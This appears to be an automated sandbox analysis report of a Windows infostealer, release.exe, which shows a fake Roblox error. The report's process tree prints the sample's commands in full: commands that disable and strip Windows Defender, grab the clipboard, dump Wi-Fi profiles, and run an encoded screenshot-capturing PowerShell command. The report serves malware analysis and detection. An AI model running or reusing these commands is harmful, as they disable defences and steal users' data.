Analysis
-
max time kernel
68s -
max time network
69s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
02-06-2024 18:43
Behavioral task
behavioral1
Sample
release.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
release.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
� ���S.pyc
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
� ���S.pyc
Resource
win10v2004-20240508-en
General
-
Target
release.exe
-
Size
5.9MB
-
MD5
6d46969ab9ba73f9c14cb57c8911f492
-
SHA1
f65f0a1aa15eaec933b320fd0f6bdc59535f6d28
-
SHA256
2edfd48c7fc7f707fe235d05551b61a882296b5b9097e79823219bc0cde8f90a
-
SHA512
f93a65d80ca72813e0381e4c014e7f1ac913e1cdff652ce0fa1511cf24c87e33d2011ff6b05fe3f65341355c7c20704196bd4510f5357bf40a079dc1abf8ea82
-
SSDEEP
98304:WrOVmoDUN43WlaEjjOjFgFEblNHYSxTpirSHcUR43zrwkdA8QJCKC7bN3mb6aBn4:WrOVumWzOjmFwDRxtYSHdK34kdai7bNp
Malware Config
Signatures
-
Processes:
powershell.exepowershell.exepowershell.exepid process 3628 powershell.exe 1948 powershell.exe 4736 powershell.exe -
Drops file in Drivers directory 3 IoCs
Processes:
attrib.exeattrib.exerelease.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts release.exe -
Executes dropped EXE 1 IoCs
Processes:
rar.exepid process 1680 rar.exe -
Loads dropped DLL 17 IoCs
Processes:
release.exepid process 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe 1624 release.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI46122\python310.dll upx behavioral2/memory/1624-25-0x00007FF8D8650000-0x00007FF8D8AB6000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_ctypes.pyd upx behavioral2/memory/1624-30-0x00007FF8EB7E0000-0x00007FF8EB804000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_socket.pyd upx behavioral2/memory/1624-48-0x00007FF8EB4D0000-0x00007FF8EB4DF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_ssl.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_sqlite3.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_queue.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_lzma.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_hashlib.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_decimal.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\_bz2.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\unicodedata.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\sqlite3.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\select.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\libssl-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\libcrypto-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI46122\libffi-7.dll upx behavioral2/memory/1624-54-0x00007FF8EB3D0000-0x00007FF8EB3FC000-memory.dmp upx behavioral2/memory/1624-56-0x00007FF8EB4B0000-0x00007FF8EB4C8000-memory.dmp upx behavioral2/memory/1624-58-0x00007FF8E85F0000-0x00007FF8E860F000-memory.dmp upx behavioral2/memory/1624-60-0x00007FF8D84D0000-0x00007FF8D864A000-memory.dmp upx behavioral2/memory/1624-64-0x00007FF8EAEE0000-0x00007FF8EAEED000-memory.dmp upx behavioral2/memory/1624-63-0x00007FF8E7EF0000-0x00007FF8E7F09000-memory.dmp upx behavioral2/memory/1624-67-0x00007FF8E7E00000-0x00007FF8E7E2E000-memory.dmp upx behavioral2/memory/1624-72-0x00007FF8D8150000-0x00007FF8D84C9000-memory.dmp upx behavioral2/memory/1624-70-0x00007FF8E7D40000-0x00007FF8E7DF8000-memory.dmp upx behavioral2/memory/1624-78-0x00007FF8EB7E0000-0x00007FF8EB804000-memory.dmp upx behavioral2/memory/1624-80-0x00007FF8E7850000-0x00007FF8E7968000-memory.dmp upx behavioral2/memory/1624-77-0x00007FF8E85E0000-0x00007FF8E85ED000-memory.dmp upx behavioral2/memory/1624-76-0x00007FF8E7ED0000-0x00007FF8E7EE5000-memory.dmp upx behavioral2/memory/1624-75-0x00007FF8D8650000-0x00007FF8D8AB6000-memory.dmp upx behavioral2/memory/1624-255-0x00007FF8D8650000-0x00007FF8D8AB6000-memory.dmp upx behavioral2/memory/1624-283-0x00007FF8E7850000-0x00007FF8E7968000-memory.dmp upx behavioral2/memory/1624-282-0x00007FF8E7ED0000-0x00007FF8E7EE5000-memory.dmp upx behavioral2/memory/1624-281-0x00007FF8E7D40000-0x00007FF8E7DF8000-memory.dmp upx behavioral2/memory/1624-280-0x00007FF8D8150000-0x00007FF8D84C9000-memory.dmp upx behavioral2/memory/1624-279-0x00007FF8E7E00000-0x00007FF8E7E2E000-memory.dmp upx behavioral2/memory/1624-278-0x00007FF8EAEE0000-0x00007FF8EAEED000-memory.dmp upx behavioral2/memory/1624-277-0x00007FF8E7EF0000-0x00007FF8E7F09000-memory.dmp upx behavioral2/memory/1624-276-0x00007FF8D84D0000-0x00007FF8D864A000-memory.dmp upx behavioral2/memory/1624-275-0x00007FF8E85F0000-0x00007FF8E860F000-memory.dmp upx behavioral2/memory/1624-274-0x00007FF8EB4B0000-0x00007FF8EB4C8000-memory.dmp upx behavioral2/memory/1624-273-0x00007FF8EB3D0000-0x00007FF8EB3FC000-memory.dmp upx behavioral2/memory/1624-272-0x00007FF8EB4D0000-0x00007FF8EB4DF000-memory.dmp upx behavioral2/memory/1624-271-0x00007FF8EB7E0000-0x00007FF8EB804000-memory.dmp upx behavioral2/memory/1624-270-0x00007FF8E85E0000-0x00007FF8E85ED000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 7 ip-api.com 26 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
Processes:
WMIC.exeWMIC.exeWMIC.exepid process 4912 WMIC.exe 4804 WMIC.exe 2204 WMIC.exe -
Enumerates processes with tasklist 1 TTPs 5 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exepid process 4084 tasklist.exe 436 tasklist.exe 2748 tasklist.exe 4904 tasklist.exe 976 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Suspicious behavior: EnumeratesProcesses 27 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 1948 powershell.exe 1948 powershell.exe 4652 powershell.exe 4652 powershell.exe 1948 powershell.exe 4652 powershell.exe 4736 powershell.exe 4736 powershell.exe 4736 powershell.exe 1500 powershell.exe 1500 powershell.exe 3628 powershell.exe 3628 powershell.exe 1500 powershell.exe 3628 powershell.exe 3968 powershell.exe 3968 powershell.exe 3968 powershell.exe 1432 powershell.exe 1432 powershell.exe 1432 powershell.exe 3684 powershell.exe 3684 powershell.exe 3684 powershell.exe 4580 powershell.exe 4580 powershell.exe 4580 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
tasklist.exepowershell.exepowershell.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 2748 tasklist.exe Token: SeDebugPrivilege 1948 powershell.exe Token: SeDebugPrivilege 4652 powershell.exe Token: SeIncreaseQuotaPrivilege 2852 WMIC.exe Token: SeSecurityPrivilege 2852 WMIC.exe Token: SeTakeOwnershipPrivilege 2852 WMIC.exe Token: SeLoadDriverPrivilege 2852 WMIC.exe Token: SeSystemProfilePrivilege 2852 WMIC.exe Token: SeSystemtimePrivilege 2852 WMIC.exe Token: SeProfSingleProcessPrivilege 2852 WMIC.exe Token: SeIncBasePriorityPrivilege 2852 WMIC.exe Token: SeCreatePagefilePrivilege 2852 WMIC.exe Token: SeBackupPrivilege 2852 WMIC.exe Token: SeRestorePrivilege 2852 WMIC.exe Token: SeShutdownPrivilege 2852 WMIC.exe Token: SeDebugPrivilege 2852 WMIC.exe Token: SeSystemEnvironmentPrivilege 2852 WMIC.exe Token: SeRemoteShutdownPrivilege 2852 WMIC.exe Token: SeUndockPrivilege 2852 WMIC.exe Token: SeManageVolumePrivilege 2852 WMIC.exe Token: 33 2852 WMIC.exe Token: 34 2852 WMIC.exe Token: 35 2852 WMIC.exe Token: 36 2852 WMIC.exe Token: SeIncreaseQuotaPrivilege 2852 WMIC.exe Token: SeSecurityPrivilege 2852 WMIC.exe Token: SeTakeOwnershipPrivilege 2852 WMIC.exe Token: SeLoadDriverPrivilege 2852 WMIC.exe Token: SeSystemProfilePrivilege 2852 WMIC.exe Token: SeSystemtimePrivilege 2852 WMIC.exe Token: SeProfSingleProcessPrivilege 2852 WMIC.exe Token: SeIncBasePriorityPrivilege 2852 WMIC.exe Token: SeCreatePagefilePrivilege 2852 WMIC.exe Token: SeBackupPrivilege 2852 WMIC.exe Token: SeRestorePrivilege 2852 WMIC.exe Token: SeShutdownPrivilege 2852 WMIC.exe Token: SeDebugPrivilege 2852 WMIC.exe Token: SeSystemEnvironmentPrivilege 2852 WMIC.exe Token: SeRemoteShutdownPrivilege 2852 WMIC.exe Token: SeUndockPrivilege 2852 WMIC.exe Token: SeManageVolumePrivilege 2852 WMIC.exe Token: 33 2852 WMIC.exe Token: 34 2852 WMIC.exe Token: 35 2852 WMIC.exe Token: 36 2852 WMIC.exe Token: SeIncreaseQuotaPrivilege 4912 WMIC.exe Token: SeSecurityPrivilege 4912 WMIC.exe Token: SeTakeOwnershipPrivilege 4912 WMIC.exe Token: SeLoadDriverPrivilege 4912 WMIC.exe Token: SeSystemProfilePrivilege 4912 WMIC.exe Token: SeSystemtimePrivilege 4912 WMIC.exe Token: SeProfSingleProcessPrivilege 4912 WMIC.exe Token: SeIncBasePriorityPrivilege 4912 WMIC.exe Token: SeCreatePagefilePrivilege 4912 WMIC.exe Token: SeBackupPrivilege 4912 WMIC.exe Token: SeRestorePrivilege 4912 WMIC.exe Token: SeShutdownPrivilege 4912 WMIC.exe Token: SeDebugPrivilege 4912 WMIC.exe Token: SeSystemEnvironmentPrivilege 4912 WMIC.exe Token: SeRemoteShutdownPrivilege 4912 WMIC.exe Token: SeUndockPrivilege 4912 WMIC.exe Token: SeManageVolumePrivilege 4912 WMIC.exe Token: 33 4912 WMIC.exe Token: 34 4912 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
release.exerelease.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 4612 wrote to memory of 1624 4612 release.exe release.exe PID 4612 wrote to memory of 1624 4612 release.exe release.exe PID 1624 wrote to memory of 744 1624 release.exe cmd.exe PID 1624 wrote to memory of 744 1624 release.exe cmd.exe PID 1624 wrote to memory of 2176 1624 release.exe cmd.exe PID 1624 wrote to memory of 2176 1624 release.exe cmd.exe PID 1624 wrote to memory of 1828 1624 release.exe cmd.exe PID 1624 wrote to memory of 1828 1624 release.exe cmd.exe PID 1624 wrote to memory of 4272 1624 release.exe cmd.exe PID 1624 wrote to memory of 4272 1624 release.exe cmd.exe PID 744 wrote to memory of 1948 744 cmd.exe powershell.exe PID 744 wrote to memory of 1948 744 cmd.exe powershell.exe PID 1624 wrote to memory of 4780 1624 release.exe cmd.exe PID 1624 wrote to memory of 4780 1624 release.exe cmd.exe PID 4272 wrote to memory of 2748 4272 cmd.exe tasklist.exe PID 4272 wrote to memory of 2748 4272 cmd.exe tasklist.exe PID 1828 wrote to memory of 3168 1828 cmd.exe mshta.exe PID 1828 wrote to memory of 3168 1828 cmd.exe mshta.exe PID 2176 wrote to memory of 4652 2176 cmd.exe powershell.exe PID 2176 wrote to memory of 4652 2176 cmd.exe powershell.exe PID 4780 wrote to memory of 2852 4780 cmd.exe WMIC.exe PID 4780 wrote to memory of 2852 4780 cmd.exe WMIC.exe PID 1624 wrote to memory of 3328 1624 release.exe cmd.exe PID 1624 wrote to memory of 3328 1624 release.exe cmd.exe PID 3328 wrote to memory of 4084 3328 cmd.exe tasklist.exe PID 3328 wrote to memory of 4084 3328 cmd.exe tasklist.exe PID 1624 wrote to memory of 4536 1624 release.exe cmd.exe PID 1624 wrote to memory of 4536 1624 release.exe cmd.exe PID 4536 wrote to memory of 1500 4536 cmd.exe powershell.exe PID 4536 wrote to memory of 1500 4536 cmd.exe powershell.exe PID 1624 wrote to memory of 4444 1624 release.exe cmd.exe PID 1624 wrote to memory of 4444 1624 release.exe cmd.exe PID 4444 wrote to memory of 4912 4444 cmd.exe WMIC.exe PID 4444 wrote to memory of 4912 4444 cmd.exe WMIC.exe PID 1624 wrote to memory of 4508 1624 release.exe cmd.exe PID 1624 wrote to memory of 4508 1624 release.exe cmd.exe PID 4508 wrote to memory of 4804 4508 cmd.exe WMIC.exe PID 4508 wrote to memory of 4804 4508 cmd.exe WMIC.exe PID 1624 wrote to memory of 2864 1624 release.exe cmd.exe PID 1624 wrote to memory of 2864 1624 release.exe cmd.exe PID 2864 wrote to memory of 4736 2864 cmd.exe powershell.exe PID 2864 wrote to memory of 4736 2864 cmd.exe powershell.exe PID 1624 wrote to memory of 4016 1624 release.exe cmd.exe PID 1624 wrote to memory of 4016 1624 release.exe cmd.exe PID 1624 wrote to memory of 2648 1624 release.exe cmd.exe PID 1624 wrote to memory of 2648 1624 release.exe cmd.exe PID 1624 wrote to memory of 1608 1624 release.exe wmiprvse.exe PID 1624 wrote to memory of 1608 1624 release.exe wmiprvse.exe PID 4016 wrote to memory of 4904 4016 cmd.exe tasklist.exe PID 4016 wrote to memory of 4904 4016 cmd.exe tasklist.exe PID 2648 wrote to memory of 976 2648 cmd.exe tasklist.exe PID 2648 wrote to memory of 976 2648 cmd.exe tasklist.exe PID 1624 wrote to memory of 3156 1624 release.exe cmd.exe PID 1624 wrote to memory of 3156 1624 release.exe cmd.exe PID 1624 wrote to memory of 520 1624 release.exe cmd.exe PID 1624 wrote to memory of 520 1624 release.exe cmd.exe PID 1624 wrote to memory of 2204 1624 release.exe cmd.exe PID 1624 wrote to memory of 2204 1624 release.exe cmd.exe PID 1624 wrote to memory of 3112 1624 release.exe cmd.exe PID 1624 wrote to memory of 3112 1624 release.exe cmd.exe PID 1608 wrote to memory of 3868 1608 cmd.exe WMIC.exe PID 1608 wrote to memory of 3868 1608 cmd.exe WMIC.exe PID 1624 wrote to memory of 2376 1624 release.exe cmd.exe PID 1624 wrote to memory of 2376 1624 release.exe cmd.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 4916 attrib.exe 2820 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\release.exe"C:\Users\Admin\AppData\Local\Temp\release.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Users\Admin\AppData\Local\Temp\release.exe"C:\Users\Admin\AppData\Local\Temp\release.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\release.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\release.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4652 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error Code : _4 Cannot Find Roblox Path Location. Please Re-install and try again.', 0, 'Error', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error Code : _4 Cannot Find Roblox Path Location. Please Re-install and try again.', 0, 'Error', 0+16);close()"4⤵PID:3168
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2748 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2852 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:4084
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:1500
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4912 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:4804 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4736 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:4904 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:976 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵PID:3868
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵PID:3156
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1500 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:520
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:4084 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:2204
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:4916
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵PID:3112
-
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵PID:1552
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵PID:2376
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:1136 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵PID:3052
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵PID:4708
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵PID: